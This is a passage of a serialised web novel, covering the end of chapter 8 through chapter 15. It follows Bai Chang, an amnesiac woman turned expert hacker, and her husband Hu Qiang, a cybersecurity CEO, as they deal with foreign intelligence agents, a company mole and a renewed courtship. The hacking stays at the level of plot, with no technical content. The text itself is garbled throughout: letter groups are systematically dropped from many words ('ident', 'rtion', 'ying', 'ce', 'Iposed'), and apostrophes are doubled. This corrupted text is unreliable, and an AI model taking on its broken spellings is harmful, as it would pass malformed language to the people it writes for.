    I realise I was staring at her, my face felt hot, I was breathless; my heart was pounding in my ears. I took a deep breath, dismissed the secretary, "Wee Ms Shui Bai Chang". I showed her a seat to take. She walked as lightly as a butterfly. Iposed myself. I sat down opposite her as the seat beside her was upied by Cyrus. As soon as we were seated Cyrus couldn''t help himself anymore he urgently asked: "Was it youst week?"


    She didn''t reply immediately she looked around the office, her eyes followed a pattern, to look through obscure corners to look for surveince or hidden recording tools. I was surprised I immediately understood something, "Cyrus leave us alone immediately," I said sharply.


    Cyrus, he looked at me to protest but saw that I was not joking; he left the office heavy-hearted and dejected. I turned to Bai Chang, she was staring straight at me, "Ms Shui there is no hidden cameras or recorders in this office, and you may rest assured." I spoke.


    She smiled, ''it was a fresh feeling for me as Bai Chang rarely smiled before but this is her work smile, not her real smile. I once again thought how much has she changed, would she remember me at all, if ever?''


    "Mr Hu let''s get straight to business, after all, we all are busy people." She voiced. (It has the quality of chime bells to my ears, very pleasant to hear.)


    "Please Ms Shui, speak freely I am listening," I replied.


    (In my heart I was saying, I will listen to you all my life, ''my wife''.)


    "Mr Hu, you gave a very generous amount for my health care during my prolonged stay in hospital. I do not like to owe people, so today I am here to return the due credit with interest. I will provide you with an upgrade ''Cyber Security System'' an unparalleled in current technology anding technology for theing few years, making you a giant to follow in the cybersecurity industry. This program will make you locally over 100 million and globally with the right buyers, over 100 billion turnovers by the end of the year. So my conditions are I give you this program in turn after deducting due credits youpany pays me 1 billion. Of course, that is after you understood the program and able to run it as I do not want others to know the origin of the program. I will teach you the code; you put it under your name. What do you think of my proposal?" she asked.


    During this whole time there were stuffed emotions in my heart I calmly replied without showing any disquiet, "I would have to see the program to validate your imed value. As for repaying the debt, please, you shame me, we were good friends before your ident. I wouldn''t watch my friend suffer while I looked the other side," I said.


    (I think this is the best way to close the distance between us.)


    "Mr Hu, there is a serious problem, while I just walked into your office building, I found two suspicious individuals calling International numbers, from the long numbers and the initial codes they dialled, it was routed to European continents so I have my doubts that we were friends or foes," she replied.


    I kept my silence this time. I contemted, while she was still staring at me straight trying to discern my thoughts. Every time I looked into her eyes my heart skipped a beat.


    "Ms Shui, this may sound inappropriate but my home is in your residentialmunity. If you do not mind we can meet at your ce or mine to discuss." I say it with a straight face.


    (I want to close the gap between us as soon as possible.)


    "That would be possible to apply."


    "Okay, then that settles it then," I responded.


    "For the agenda of the meeting, tell that I came to thank you in person to your goodwill, as for that man who left your office, best to find ways to shut him up." She retorted with a slight chill in her eyes.


    I looked towards the person sitting in front of me, my wife, her demeanour may have evolved more than what was before but there were little traces here and there still left. I found myself falling in love with my wife all over again.


    After the conversation, I apanied her to her car as she left the office.


    My brows tightened, I call Cyrus back into my office. As soon as he entered he wanted to barrage me but I interrupted "Cyrus, we have a situation. We have mole among us."


    He kept looking at me. "While she was hacking she found leaks to a few foreign forces in ourpany private servers."


    ''While she left she handed me a small SD card holding details of these leaks as a show of goodwill and trust. (I don''t know I shouldugh or cry, as thispany is her property as am I.)''


    "Look through this, watch closely but do not act yet, let''s roll in some big fishes this time. Let them know whom they have messed with," the poor kid...I didn''t let him speak yet "and Cyrus while you are at it, keep your mouth shut about our little friend here no words should slip past under any conditions." I made sure my points reached across to him.


    "Boss" finally this kid asked cautiously, "Who is she?"


    I reply without hesitation "My legal married wife."


    His eyes popped, mouth wide open, as he looked at me in surprise.


    I cautiously replied, "She met an ident, she is amnesic, so she is not aware of our rtionship."


    At this time his mouth was so wide open that two duck eggs could fit there. He took some time to digest the news and then left the office to prepare to spread arge to reel in some big fishes.


    ***


    Somewhere in East Pacific ocean on a Military vassal deck, a uniformed man holding a file rushed to the captain''s cabin.

 Chapter 9: The Hunt

    Chapter 9: The Hunt


    In the eastern Pacific Ocean, in international waters, there stood a fleet of vassals responsible forwork maintenance.


    A Sergeant knocked on the captain''s cabin and waited outside. He heard his captains''mand from inside. He opened the door and entered the cabin.


    "Sir", the sergeant saluted his captain.


    "At ease, sergeant."


    "Sir, an urgent ssified intel, order ''SS'', for you, from headquarters."


    "Leave" the captainmanded.


    "Yes Sir", the Sergeant saluted and left the cabin.


    The Captain looked at the sealed files for some time then broke the seal and opened the file. It had information about a woman. He looked through the intel, lit a Churchill Cigar, took a deep draught and then shredded the information. His eyes were ice cold and murderous, his copper-brown hairs reflected broken light from the only light source in the cabin. He began to prepare for the hunting game in his mind.


    ***


    [POV Bai Chang]


    I left the office. Today brother Li Jie was driving, I enter the car, it left, I felt Hu Qiang eyes on me but now is not the time for it.


    "Brother myptop", I asked for my ghost system; it is something I made with spare parts left after making ''Jiffy'', it is my portablemand unit to everything.


    As the car drove on, I looked into the servers of the top-secret service around the world while essing the broadband signals from the surrounding shops and office. After what happened today at the Hu Corporations, I feel going this extra mile for losing my tracks is worth it.


    I soon found the information required and emailed to ''Jiffy'' for safekeeping.


    "Brother, let''s go to a mall. We have tails; we need to give them something at the same time I will look around the surroundings."


    "As you wish youngdy"


    "Brother, ask Zhang Wei to be extra careful after we reach home we will talk."


    I spent the afternoon browsing through malls and food section. A man passed by me twice, each time while I was ying with my phone.


    [Ahhh.. ]


    These armatures, they are too new to the field of counter-surveince, I felt the thrill for chase inside me. I expected my life to be peaceful after reincarnation but apparently, there are a few things that could be prayed for but never achieved - ''like peace''.


    I bought a few dresses for the time being and left after we reached home, I realised we lost our tail around five kilometres before reaching this Residency Area for reasons not too clear at the moment.


    "Well, Zhang Wei, Brothe Li Jie let''s have dinner in my study at third floor today" and let them in without exnation.


    I went straight to my study ''Jiffy'' was on standby. I saw reports and data I wanted on the table ''Jiffy'' have alreadypiled them.


    [Knock... Knock]


    "Come in," I said.


    Then Zhang Wei and Brother Li Jie entered with our dinner. I directed them to the couch.


    "What happened? Li Jie asked,


    I didn''t reply immediately, I sat down and took a piece of fruit sd and munched on it.


    "Brother Li Jie, what is my actual rtion to the Hu Corporations?"


    He took a deep breath contemting his next few words, "Youngdy, you are married to the CEO of Hu Corporations before your ident", he didn''t see any shock on my face he immediately knew I was aware of it.


    "When did you get to know?"


    "Today morning" I replied honestly.


    "Youngdy, he is not a wrong man, he loved you deeply."


    "I am aware of it Brother Li Jie, but I am afraid the situation isplicated for the time being."


    Throughout the conversation Zhang Wei was silent.


    I look towards him and said, "I want to know about this person". I gave him a picture of a man in his thirties, ice-cold and murderous eyes, and copper brown hair in his military uniform.


    His eyes popped "Bai Chang, what rtion you have with him?" he asked deeply perturbed.


    "I do not know but he will soone after me".


    He took a deep breath "Bai Chang he is dangerous not the average one but the super dangerous type his name is ''Feling'' as he is known around, this man is a maniac, by profession, he is a software technical engineer mostly station to maintain the undersea cables to maintain inte and broadband services while in reality, he is the high-level informer. He obtains information for his employer by hook or by crook sometimes even going the extra mile of kidnapping, extortion and others."


    (I noted he was deeply concerned as if it''s something personal.)


    "We heighten the security, Zhang Wei invites five people you know the best and trust with your life, invite them here some way that doesn''t directly point to me."


    I looked to Brother Li Jie, "Next I require all the things on the list." I handed over a sheet of paper to them. "I require all these materials nothing to be left behind searching the ck market, as well as other markets, let me know where they are the point of purchase will be carried out by me."


    I looked through the windows at the peaceful backyard with soft lights."Sorry Zhang Wei, I guess life is going to be a mess soon your rest period is over."


    "The hunt has begun."

 Chapter 10: Hu Family

    Chapter 10: Hu Family


    [POV Hu Qiang]


    Tring... Tring


    My phone rang. The number belongs to my mother; I answered it fully expecting bad news,


    "Hello mother"


    "It''s code red here,e immediately" there was the noise of something broken and a lot of people in the background and then the connection was lost.


    ''Well I guess I am in trouble it seems.''


    I left all other work and rushed to my parents'' ce, it is two hours'' drive away from Economic Park. I rushed home.


    I reached my parents'' ce; it is a traditional country Vi with more grounds to farming your vegetables and rare animals. I rushed and inside I was weed by a scene of utter destruction. It felt like a tornado passed by or an earthquake took ce, everything in the house that could be damaged or broken was damaged and broken. I look to an olddy standing by the staircase; she is the old maid serving our family,


    "Ayi, what happened?"


    "Young Master, Little Master threw a tantrum and locked himself in his room."


    ''Well, it seems what I was afraid of still happened.''


    I went upstairs to my son''s room. I met my mother and father both standing outside the doors, they were both wearing simple home dresses, age have left marks on them but looking at them you see the sense of authority still deeply ingrained in them. You can make out they are still influential people. Approaching them cautiously,


    "Hello mother, father" I greeted them.


    "What have you done this time, Xiao Wei went all out?" my mother asked.


    "I don''t know who rat me out" of I muttered under my breath.


    "What did you say?" my mother asked sharply.


    ''We can''t me them their grandson is more precious than their son, after all, said and done. "Nothing, first let me get him out then will talk."


    I knocked on the door - no response.


    "Come out, the father needs to know the problem to solve it,e out of your room. In this house we talk like gentlemen, I would wait for 10 minutes on the dinner table if you are not out by that time you might as well stay in that room forever" and I walked towards the dinner table at first floor.


    (Don''t get me wrong Wang Wei is a sensible child. He is very calm most of the times but every Dragon has their reverse scales and his, is his mother, Bai Chang.)


    I waited for five minutes and there he was a little man in his white shirt and ck shorts walking down the stairs, he had his mother''s eyes and nose while facial features are from me. I guess you can say he got the best of our genes. He came down steadily with his small steps and sat down on a chair opposite mine.


    ''Well, it is a face-off then it seems.'' I smirked inside, while outside I watched him calmly.


    His grandparents followed taking a seat by their grandson a tant show of the party they support even before a debate is initiated.


    "State your problem". I said quietly.


    "Mother has regained consciousness, you never told" my son used me.


    ''I knew it, my son would go berserk only for one person in this world and the privilege goes to his mother, Bai Chang and more so after that ident. It seems he still holds himself responsible after all this time.''


    My parents were caught by surprise as I haven''t told them about her recovery. I saw expectations in their eyes. In this house the person who holds the highest position, greater than me and even their darling grandson is Bai Chang, she is ''The Pearl'' of our family.


    "Yes, she regained consciousness two months back. Who told you about this?"


    "I saw her in your office today; I nted a sensory camera in your mobile as you never allowed me to meet her in the hospital for security reasons. So I could only adopt this road."


    I was taken by surprise, do not get fooled by his child-like appearance this 4-year-old child could hack into any system he wished something he inherited and perfected on from both his parents. "Why today?" I still asked.


    "Because she''s walking and talking"


    I admit defeat, to look into his pleading eyes begging to see his mother but still afraid to ask for it. I rub my hands over my face and try topose myself.


    "She woke up two months back, Yun Lee also informed that she is suffering from amnesia temporary or permanent we can''t confirm yet. Currently, we cannot put any emotional stress on her. She is not aware of me or you; she is staying in the Vi unit 1 in Residency Area under tight perimeter security. Today she came to work to thank me for the money I spent on her medical care and came to return the debt. While she is being followed by foreign intelligence as we speak."


    ''My parents took a deep breath, they were getting serious and when this couple gets serious it''s time for chaos in the city but what amuse me was my son joining their ranks ready to battle with the world.''


    "Is she alright any other healthplications?" my mother asked.


    "She is going through a Physiotherapy session regrly," I replied.


    "Who is taking care of her then?" this time my father enquired.


    "I let Li Jie go to her and she epted him by her side, apparently she remembers a few faces if not the rtions. She also employed a Steward and nutritionist. Today was the first time she got out of the residence."


    "And they still followed her. What do they want?" my father growled.


    Its obvious Bai Chang was in the ident because of this foreign intelligence following her which almost destroyed our family.


    (Do not misunderstand even though Bai Chang was autistic she is loved and cared by my parents at first it was because of some family history between both our families that is mine and Bai Chang butter it turned to the genuine feelings, she conquered my parents with the innocence and purity of a simple child, to them Bai Chang was a child they pampered and showered with endless love sometimes even I became jealous of her for receiving so much attention from my parents.)


    I realise I haven''t told them the big news yet so I dropped the bomb, "Hold on everyone before you get all excited, let me inform you she is no longer autistic. She is too sharp and doesn''t trust people easily; to her right now everyone is an enemy you and I included."


    All three of them were shell shocked by the news they appeared as withered eggnt. At least I am not alone to feel the disappointment.


    While we were talking, the house was sufficiently cleaned. The family had a quiet dinner, everyone, thinking of ns best suited to introduce themselves to Bai Chang without making her run for the hills.

 Chapter 11: Planning

    Chapter 11: nning


    [POV Bai Chang]


    Yesterday I told Zhang Wei to look for some elite co-op people he trusts. Today he already found quite a few men, he handed me a list of peoples'' information first thing in the morning. I looked through them;


    "They are your teammates for thest field mission, right," I stated.


    "Yes," Zhang Wei replied.


    "Okay, bring them here to be interviewed. Use Hu Corporations as a smokescreen."


    "Okay," he replied and then left for his other work.


    ''I am looking forward to this day; you may ask why? It is because today is thest day for my physiotherapy.''


    After breakfast Dr Lee and Dr Yun, both came together to mark today''s auspicious event.


    "Hello, Dr Lee Dr Yun" I greeted them.


    "Morning Bai Chang, we will go through some movement test only and if you do not mind a psychological evaluation." Dr Lee informed.


    "We will talk about thatter let''s finish with the test" I dodged the statement about psychological evaluation.


    Dr Yun started the test procedures, the pieces of equipment were prepared by Li Jie beforehand throughout the test Dr Lee looked at me waiting for my permission for psychic evaluation.


    "Dr Lee, it''s not that I don''t want to do but I do not feelfortable with all these. We are friends. I am aware of your connection with Hu Qiang, so putting that aside I will be upfront with you I am not the Bai Chang everyone knew after the ident. I know the faces of a few people but my trust to anyone is next to nothing. There are shadows and the light impression of a few people but I want to start afresh. I do not want to be defined by my old mould. I was given a second chance to my life I want to redeem the second chance on my own terms and conditions as a better version of me, not as a shadow of old me and while you are at it tell Hu Qiang he owes me money. So ask him to meet me today by the end of the day or I will clear his bank ount for the dy." I said quietly and dismissed him.


    ''I think I like teasing Dr Lee. That poor bloke he was scared to his bones.''


    I heard him mutter under his breath "this husband and wife will be the end of me. Why do they always have to threaten me? They are both brutal''


    (hehe I smirked)


    I coughed lightly; Dr Leeposed himself and left in a hurry with Dr Yun insisting on taking her with him as if I will swallow her.


    Imagining Hu Qiang''s reaction I smirked in my head.


    ***


    [POV Hu Qiang]


    I was still at my parent''s ce when Yun Lee called and passes me Bai Chang''s message, I chuckled. This girl has be fearless after waking up. We were at the dining table having breakfast seeing me chuckle my mother stared at me and it became sharp with each passing minutes.


    "Okay, please do not intimidate me. Yun Lee called he went to Bai Changs'' ce for herst Physiotherapy assessment and Psychic evaluation."


    "So what is the result?" my father intervened.


    "She finished her physiotherapy with flying colours but refused to undergo psychic evaluation stating that she is not the old Bai Chang and wants to live the second chance of life on her own terms without a past mould bing her shackles.


    "She said so that girl was always smart. It''s good to know she learned cautiousness this time." My father furthermented.


    "But you wouldn''t chuckle for this piece of news? What else did she say?" my mother refused to give up, so typical of my mother.


    "Well, she told him to pass me a message," I replied


    "Which is?" she persisted.


    "I need to meet her by the end of the day as I owe her money and if I don''t she will clear away all my ounts and make me bankrupt."


    "You owe her money!" my parents eximed together and my son enjoyed by difort.


    "Well, it can''t be avoided. After gaining conscious she hacked into mypany system to call out our feeble security measures she then came to my office yesterday to propose a trade, that is, she will teach to me the new security code and I pay her one billion. In future our turnover is estimated by selling this program is over hundred billion within a year."


    Both my parents were shocked they understood the prospect while also the dangers involved.


    "She is working as a software engineer right after waking up. She needs money to upgrade security all around. She is upgrading the security measures to the world''s best level; impossible to crack through with current technology as well as technologies in theing few years." I told them.


    "Did she remember something crucial which makes are aware of the dangers surrounding her? Qiang nothing should happen to her otherwise do not enter this ce again we have alreadye close to losing her once we don''t want to lose her all over again" my father stated. My mother nodded her consent.


    In this room, the most miserable person was my son. When he knows he can''t meet his mother yet but a child''s heart always yearns for his mother how much ever the father pats on his head. I looked into his dark brown eyes,


    "I''ll let you meet her soon. Let me first make her realise that we are not enemies."


    "When are you going to meet her?" my mother inquired, if she could she would have sent me directly to Bai Chang''s ce.


    (I wonder, was I the adopted child and not Bai Chang)


    "At night. I will stick to my schedule, they are a few people looking into our affairs we are preparings for these big fishes to catch them all in one swoop."


    "Careful do not bring extra trouble" my father warned me.


    I left the ce and went to the office on my way I informed Li Jie, we will meet at night at her ce


    ***


    [POV Bai Chang]


    Hu Qiang informed us that he would join us for dinner. I am curious about this husband as I was unmarried in my previous life. People didn''t find the guts in themselves to at least propose me due to my very elevated status which only left me away for political marriage which I was not interested, so my life, I decided I would spend it in Starlife System development and progress. I wasn''t asexual by any means only that I didn''t find someone who was able to spark any interest in me.


    I search for various details here and there; credit card statements to the official purchase of real estate and investment ns epted. It took both me and ''Jiffy'' the entire afternoon tob through all his data and thenpile them. By evening I knew the ins and outs of this person named Hu Qiang at least his digital impression, after tonight I will have my personal judgement ready and we''ll see how it goes from there. I am open to entering a romantic adventure if the person is qualified.

 Chapter 12: Planning (Contd.)

    Chapter 12: nning (Contd.)


    At around 7 p.m. he arrived.


    He most surely went to his home to get changed as he was in a light blue washed out denim jeans and a white T-shirt, printed on it was red hearts and a ck and white doddle man saying ''Hello'', weird.


    He saw me observing his t-shirt so he teasingly spoke: "Hello love".


    I was stunned at his courage to flirt with me so tantly.


    "We will decide on that after dinner. First, let''s get back to business." I hurriedly spoke before this man turns into a predator. (After all, I never had an affair in my previous life experience.)


    I invited him to my study room on the third floor, "Here,e in. This is my private study room. We will work here. First let us discuss the current market for cybersecurity programs, the technologies as well as the research project in the pipeline and potential development. We will customise it ordingly. Otherwise many foreign intelligence as well as national intelligence would hound us like a pack of starving wolves. It is not a good idea to be a tall tree all of a sudden."


    He raised his eyebrows at me "Then what was the level of attack you did on ourpany?"


    I duly noted he didn''t say ''his''pany he definitely said ''our''pany. (I like the sound of it.)


    "It was too advanced for the current technological world. Something I promise it will take those fifty years to another hundred years just to understand surface-level details. Rest I leave it to your imagination."


    "That long" he sounded intrigued.


    "Okay, I asked ''Jiffy'' to run stimtion as well as jot down the data on cybersecurity trends both military andmercial world asmercialization of the intellectual property needs right evaluations as much as buyers." I pointed to my Artificial Intelligence built super system.


    "It is your ownpany. You do whatever you want to do. I am here to support your back and be your shield. You just y around."


    "ying around isn''t fun. You need to take responsibility for your own actions otherwise why bother to make a move?"


    "What do you have in your mind?"


    "I want to build an underground Empire for technical and medical support and our presentpany would be the front while they be our power." I subconsciously replied.


    There was a bright smile on his face. I was lost in that smile. It is not a wide smile at all, it is a very textbook smile but apanying it is the shining ck orbs of his eyes; they had a hint of allure in them. It took me some time I finally realised what made him happy? I unconsciously referred to us as a team. That happiness is simply infectious.


    I tapped him on his shoulder, "let''s get back to work."


    It took us four hours of discussion. Then Li Jie called us seeing that it is getting toote.


    "It is prettyte, I am so sorry to keep you going for such a long time." I apologized.


    "It is alright. I enjoyed it but I sense this is not even the start of what you want to discuss right."


    "Yeah We have a lot to discuss and work on and less time to execute my ns."


    "You are in such a hurry, what is bothering you? Let''s discuss it."


    (Concern was clearly portrayed in his eyes and his voice. There was no deceit.)


    "After dinner, we''ll continue."


    After dinner, Zhang Wei served a ss of wine to Hu Qiang and a ss of turmeric milk to me. We headed back to the study room. I finished the ss of milk in one breath. I sensed his amusement.


    "Do not bother toment I need to develop strength; my health is not appropriate yet."


    "Why? What happened?" he squished his brows.


    (I realise I told him something I didn''t mean to, it was a natural response that this body is used to this man in front of me. It came naturally because of this body previous interactions - ''mind might forget but the body remembers'' I concluded.)


    I thought for some time and finally asked "Are you aware that I am a person with golden blood condition as well as an unregistered one at that?"


    He is surprised by my question, he still answered unhesitantly "I am aware, so are my parents but we never register you to the system to keep your medical records private."


    "How private are there?" I interjected.


    "Only my family, which includes me, my mother and my father, along with Dr Yun Lee."


    He saw my slightly perturbed expression.


    "Hey... What are you thinking? Talk to me."


    "I need to develop a private medical unit something that is mine alone. No need for human resources all I need is technical support. I have a framework in my mind I need resources to put it together."


    He was bbergasted by the revtion.


    We talked all night long about finance, resources, medical units, strategies to re-route our money and many more things.


    (This man in front, he is different. I summarised him as a daring person as well as a man with ''Alpha'' male qualities but before me, he bes a ''tamed lion''. Aesthetically he is very pleasing to the eyes and knowing him in person is no shame. I admit I wanted to know him more, to give amitment is a far cry from what I can give but I am attracted to him.)


    At the early hours of the morning, as the air felt slightly chilly and birds twittered in the garden, we finished our discussion for the day. He promised he would deposit the 1 billion for the intellectual property of the cybersecurity program by the end of the day and would return at night to learn the codes. Throughout our discussion, he patiently listened to me. I like that. I waved him goodbye at the front porch and he went to get some sleep.

 Chapter 13: Recruit

    Chapter 13: Recruit


    [POV Hu Qiang]


    I left my wife''s ce. I went back to my Vi. We talked all night long though it was mostly working and shop, still we talked; that matters. I glided through the front doors my steps light; I went to my bedroom and went to sleep.


    [Ring Ring... Ring Ring... Rrrr..ing]


    I woke up to this annoying phone call.


    Without looking at the screen I answered,


    "Hello".


    "Sir, you have a meeting with ''Techb'' group in another hour."


    "What time is it?" I asked groggily.


    "Sir, it is 9 AM."


    (Shoot, I overslept.)


    "I will be there in another 45 minutes."


    I disconnected and looked towards the small table clock. I felt my mood uplifted. I slept a good sleep. I hurriedly freshened up and rush to the office.


    ***


    Inside the pent office of the Hu Corporations office building, I went through my schedule. After sending Li Jie to Bai Changs'' side I had Ming Li transferred over from International branch. This man is a capable person just like Li Jie with only one drawback - he is a little more yful.


    "Boss, you totally overslept today, right."


    I gave him a look.


    "Wow Boss, that''s real. So what happened?"


    I kept my silence.


    "Boss, have you exhausted yourself from all work? Do you want to take a break?"


    Well, another point to be duly noted about Ming Li is; he is super talkative and can continue a conversation without anyone ying support to him.


    "Focus, call Cyrus."


    "Okay, Boss" he left cheerily.


    [Knock... Knock]


    "Come in"


    I looked up. Cyrus came in still wearing sweatshirts. This times at least no puffy eyes. He looksparatively healthy.


    "Morning"


    "Morning Cyrus, I need you to work with something, you will have to pass the test then you may join Bai Chang. She will teach you and train you it may be an opportunity for you. Do not miss it, but before all that re-route this money to this ount, it is urgent."


    "Yes boss, anything else?"


    "Nothing as of now."


    He left quickly. This kid, the shine on his dull angr face was a giveaway to his excitement. I was right, he would be a fan of Bai Chang.


    I finished my work fast. I am looking forward to meeting her today. I didn''t know, the feeling of courting my own wife all over again is simply divine.


    ***


    [POV Bai Chang]


    After Hu Qiang left, I went to have a quick nap in the outdoor activity room. I woke up after three hours of sleep. I feel refreshed. I freshened up, had my morning coffee and went through the list of materials that we were able to procure through unknown channels.


    "Bai Chang, those men would arrive today morning for an interview. Are you good to go?", Zhang Wei inquired.


    "Yes, I am good, when they arrive let me know. I would be here." I replied.


    I enjoyed the early morning sunshine and rested myself. I am disciplining myself to not be a workaholic again in this life. It is my second chance to live, so I want to live a quality life.


    "Youngdy... Youngdy" Li Jie called out.


    I dozed off.


    "Youngdy, the people you want to interview are here."


    "Huh...let me wash my face and I would join them shortly after. Ask them to gather in the outhouse. You and Zhang Wei be there as well."


    I walked down the stairs to the outhouse wearing training outfits, as I entered I came across the line of well-trained individuals but also a cohesive team. There was this feeling inside of me telling me they are worth my time and resources.


    So far so good.


    "Morning gentlemen, I won''t bother you much. You will fight one-on-one with me, all of you and that''s it. Zhang Wei, you will also join this exercise."


    Both Li Jie and Zhang Wei were surprised but they didn''t say a word of disagreement in front of these men. I appreciated this quality about them; they would advise me in private but never contradict me in public.


    "There is not much rule here, only if you are put down to the floor, the fight stops. Am I clear?"


    "Yes, ma''am". All of them replied unanimously.


    The first man moves forward on the mat and immediately went for my shoulder, very clearly going for over the head lifting and drop.


    His midriff was open to me. I punched him hard on his gut and he lost his bnce, taking the opportunity I kicked forward to his calf region hard and strong.


    He touched the mat.


    ording to the rules we decided before he was out. He stood up gracefully, greeted and left joining ranks with the rest of his men.


    The eyes of the rest of these men became a little tight. It looks like an ordinary punch and kicks but professionals would know that - right move at the right time to defeat your opponent is the best moves, whether it is simple orplex.


    Rest of the men came to the mat one-by-one and I fought them all. I only won twice the rest I lost them.


    (After the fight, I stood still, closing my eyes I took in the entire fight and my body conditions. I hate to admit it but my body is still not strong enough. I might need to have some other tools by my side in case of emergency. I opened my eyes and looked at these men they are strong but they are smart and seems loyal.)


    "Okay, you are all hired. Move your belongings to this Vi as soon as you can. I will officially meet you when youe and report to me starting the next day. Today I give you the choice if you want to work for me or not, I leave the choice to you."


    I said my piece and left.


    The outhouse was quiet there was nomotion, looks like I can work with these men and then turn them into my sharp weapons.

 Chapter 14: Dating My Wife

    Chapter 14: Dating My Wife


    [POV Hu Qiang]


    I finished my work as fast as I could. It''s a date night for me and Bai Chang. I need to woo my wife otherwise the sulking child, staying at home and the two guardians will have my life for sacrifice.


    ''What should I wear?''


    Yesterday she took interest in my shirt.


    ''Should I try another funky printed t-shirt?''


    ''Maybe I should try some semi-formals''


    ''No that would be weird; she already puts a lot of distance between us I need to close that distance among us.''


    ''Of course, I need to find flowers with good meanings.''


    I made a mental note of things that I need to buy and rushed out of the office. On my way home, I stopped by a flower shop.


    Looking through the windows, it has all the flowers I need. I went into the shop; the flower girl behind the reception table weed me with a bright smile.


    "How may I help you Sir?" she asked eagerly.


    "I would like a bouquet with my customised flower arrangement."


    "We do that here. What type of flowers you want in your bouquet?"


    I took my time and contemted.


    "I want four red Roses long-stemmed, two Tulips again long-stemmed and put them together with Violets and blue Hydrangeas and if possible have a slight hint of Lc fragrance or its essence sprayed on the bouquet surrounding them with greens as you see them appropriate."


    I wanted to send her a message through this bouquet maybe it won''t amount to much but still my emotions would be there for her to see.


    ''She is my passionate love as the red Roses she is regal and perfect like Tulips to me, she has my faith and affection like the Violets and like the Hydrangeas, we are a family together, be it rain or shine we will paddle through them together and with the essence of Lc it is to preserve the innocence and purity of her heart in our rtionship.''


    I was lost in my thoughts when the flower girl called out -


    "Sir, here''s your bouquet. How is it?"


    She has arranged them beautifully the long stem Roses and Tulips were surrounded by a mix of Violets and blue Hydrangeas and with Lc essence sprayed on them with decorative leaves holding them together crowning this flowers making it a visual treat.


    "Thank you, it''s perfect." I smiled with satisfaction.


    While paying the bills I gave her a hefty tip to which she was surprised.


    I left for home jovially. After reaching I groomed myself had a good shower and then searched through my entire wardrobe to find an appropriate t-shirt.


    I was disappointed as I didn''t find any couple t-shirt. Before, we never were serious in our rtionship. We were intimate only this one time, that too under the influence of alcohol and she got knocked.


    ''I am still surprised at my sess.''


    This time I want to properly pursue my wife otherwise she would choose someone else and my son would hate me for being a loser.


    (I realise I have to work extra hard to keep my family together otherwise all would be lost.)


    There is still one more hour left before we meet. I called Rosalie, my personal designer and asked her specifically to bring couples T-shirt. She rushed and reached within 40 minutes.


    I looked through all the designs and chose one with the doodle man saying ''I miss you'' while holding a bunch of balloons in his hand.


    I did a final check and left for Bai Chang''s Vi with a spring in my walk.


    I felt nervous until I saw her lounging in her garden.


    She looked fragile and tender; she looked rxed her small hairs around the neck were ying with the wind that was flowing. She wore a long gown it looked mesmerising.


    "Aren''t you cold?" I asked while approaching her with a bouquet and a shawl that was ced on the armchair.


    I wrapped the shawl around your shoulders and finally gave her the bouquet.


    She took the flowers and looked at them for some time then she smells them and kept holding on to them. The stone was lifted from my heart.


    "Come inside, you will catch cold." She replied and invited me to the main house.


    I noticed she was still holding onto the bouquet while she noticed my t-shirt. I swear, I was not imagining it but her neck was reddening as she was blushing furiously.


    "We will talk in the study room. Let''s go upstairs." She leads the way to her study room. Inside she hunted for a vase, cleared the artificial decoration flowers and kept in it the bouquet of fresh flowers that I gave her.


    I guess she saw my satisfied smile as she replied. "Do not get overconfident, this arrangement of the flower is very beautiful and meaningful it suits my taste so the honour is being given to the flowers, not the person."


    She realises that I wanted to say something but I was interrupted -


    "Listen I know we were married but at that time I was autistic so my emotional attachment to that rtionship is not strong. While now I feel I know you at the same time I don''t, as is in my own case you have known me as some Bai Chang but at the same time you are not aware of me anymore. I''m not sure that all these gestures are for me exclusively based on your memory or for the present me. It means a lot for your thoughtfulness but sometimes I doubt them, they feel like they do not belong to me but to someone else."


    I realised that I have touched upon the thorns of her heart.


    "Bai Chang, look at me"


    I came close to her but not too close took her hands. Looked her in her eyes. Her eyes hold a lot of questions and doubts, they were not obvious but they were there just trying to hide them.


    (I realised I need to clear her doubts as soon as possible, otherwise, we will be forever separated in future.)


    "Bai Chang, before we live together and we grew up together. We got married because of my parents as they wanted it and dotted on you. We were friends nothing more. This emotion of love is for you. I admit we are already married and legally you are my wife but that legal paper does not dictate our bond. What attracts me to you is your individuality as you are now. You are aware of my rtion to Dr Lee right, when you use to tease him and threatened him while your stay at the hospital it amused me and I became more interested and when you came to my office and I got to know you hacked ourpany to earn money I became more curious that I thought to myself how about dating you. Because you are my wife I am aware that you are a unique gem. I do not want to see you in other men arms, even thinking about it makes me jealous and when you use to flirt with Dr Lee at the hospital, each day at home he would get disciplined by his parents and elders on mymand as I was jealous. I want to court you. Let''s fall in love together this time and build a rtionship outside the legal pages."


    I took a formal stance, got on my knees and asked her-


    "Ms Shui Bai Chang I would love to admire you and spoil you and with your due permission would like to date you and fall in love with you. Are you interested?"


    I was scared inside my head as I waited on my knees for her answer. It seemed like an eternity passed.

 Chapter 15: Their First Move

    Chapter 15: Their First Move


    [POV Bai Chang]


    This evening when Hu Qiang came he was behaving oddly, giving flowers, wearing a graphic T-Shirt with says ''I miss you'' on it but now was the epic moment, this man was on his knees asking my permission to date me.


    How many times I have fantasized about this moment in my previous life but life yed the hard game with me and here in front of me, a man with all his sincerity was waiting for my reply and I want to give it a try too.


    He is not a bad option to explore. He is smart and he cares about me, giving him a chance is like giving me a chance for exploring the path of love andmitment. I think I would give it a try.


    Many thoughts were shing through my head while I saw a man so in control of his surroundings, on his knees, nervous for my reply.


    It is kind of cute.


    "I would like to give ourselves a chance to date. Let''s date but also take our time to build this rtionship and to know each other."


    He asked gingerly, as if afraid to confirm what he heard -


    "So, is it a yes?"


    "Yes," I replied as I blushed.


    I realise this man here is serious, as the happiness in his eyes and thoughts behind his bouquet exins a lot. For a person who is close to the world, it felt like I got away with something exclusive something that belongs only to me.


    (Secretly I was satisfied as he never gave flowers to the previous Bai Chang and I am the first one receiving it. I guess I am ted in my heart for the small things.)


    "I would very much like to explore our newly defined rtionship status and I hate to run on your happy parade but we need to finish this work first."


    "Okay let''s get going then, by the way why are you in a rush to finish everything fast? I also noticed that you are doing physical training. Your hands are swollen and your muscles look sore."


    I am surprised he noticed these little things.


    "Some wolves are tracking us. The Hunt will start soon. So I want myself as prepared as I can. I don''t want to be in a disadvantage situation again I want to protect what I have with my own two hands."


    "Now we protect what we have together," he replied.


    The whole night passed by discussing our business ns and potential markets with this new program. I also taught him the program; customised version. He is definitely one of his kind smarts. It took him only two days to pick up the code; I am secretly impressed as the customised code is also quiteplex concerning current technology standards.


    ***


    The next few days went by with ease, as Hu Qiang would finish his work early and return to have dinner with me. We would talk all about world history, politics, social structures etc.


